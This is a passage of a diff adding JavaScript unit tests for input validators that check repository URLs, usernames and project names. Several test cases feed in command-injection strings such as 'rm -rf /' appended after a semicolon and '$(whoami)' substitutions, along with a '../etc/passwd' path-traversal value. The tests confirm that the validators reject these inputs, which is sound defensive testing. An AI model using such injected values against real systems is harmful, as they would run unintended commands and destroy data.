expect(isValidRepoUrl('git@github.com:user/repo.git; rm -rf /')).toBe(false);
|
|
68
|
+
expect(isValidRepoUrl('$(whoami)')).toBe(false);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
it('rejects empty/null', () => {
|
|
72
|
+
expect(isValidRepoUrl('')).toBe(false);
|
|
73
|
+
expect(isValidRepoUrl(null)).toBe(false);
|
|
74
|
+
});
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
describe('isValidUsername', () => {
|
|
78
|
+
it('accepts valid usernames', () => {
|
|
79
|
+
expect(isValidUsername('deploy')).toBe(true);
|
|
80
|
+
expect(isValidUsername('_admin')).toBe(true);
|
|
81
|
+
expect(isValidUsername('deploy-user')).toBe(true);
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it('rejects injection attempts', () => {
|
|
85
|
+
expect(isValidUsername('deploy; rm -rf /')).toBe(false);
|
|
86
|
+
expect(isValidUsername('deploy`whoami`')).toBe(false);
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it('rejects empty/null', () => {
|
|
90
|
+
expect(isValidUsername('')).toBe(false);
|
|
91
|
+
expect(isValidUsername(null)).toBe(false);
|
|
92
|
+
});
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
describe('isValidProjectName', () => {
|
|
96
|
+
it('accepts valid project names', () => {
|
|
97
|
+
expect(isValidProjectName('myapp')).toBe(true);
|
|
98
|
+
expect(isValidProjectName('my-app')).toBe(true);
|
|
99
|
+
expect(isValidProjectName('my_app.v2')).toBe(true);
|
|
100
|
+
});
|
|
101
|
+
|
|
102
|
+
it('rejects path traversal', () => {
|
|
103
|
+
expect(isValidProjectName('../etc/passwd')).toBe(false);
|
|
104
|
+
expect(isValidProjectName('foo/bar')).toBe(false);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
it('rejects injection attempts', () => {
|
|
108
|
+
expect(isValidProjectName('myapp; rm -rf /')).toBe(false);
|
|
109
|
+
expect(isValidProjectName('myapp$(whoami)')).toBe(false);
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
it('rejects empty/null', () => {
|
|
113
|
+
expect(isValidProjectName('')).toBe(false);
|
|
114
|
+
expect(isValidProjectName(null)).toBe(false);
|
|
115
|
+
});
|
|
116
|
+
});
|
|
117
|
+
});
|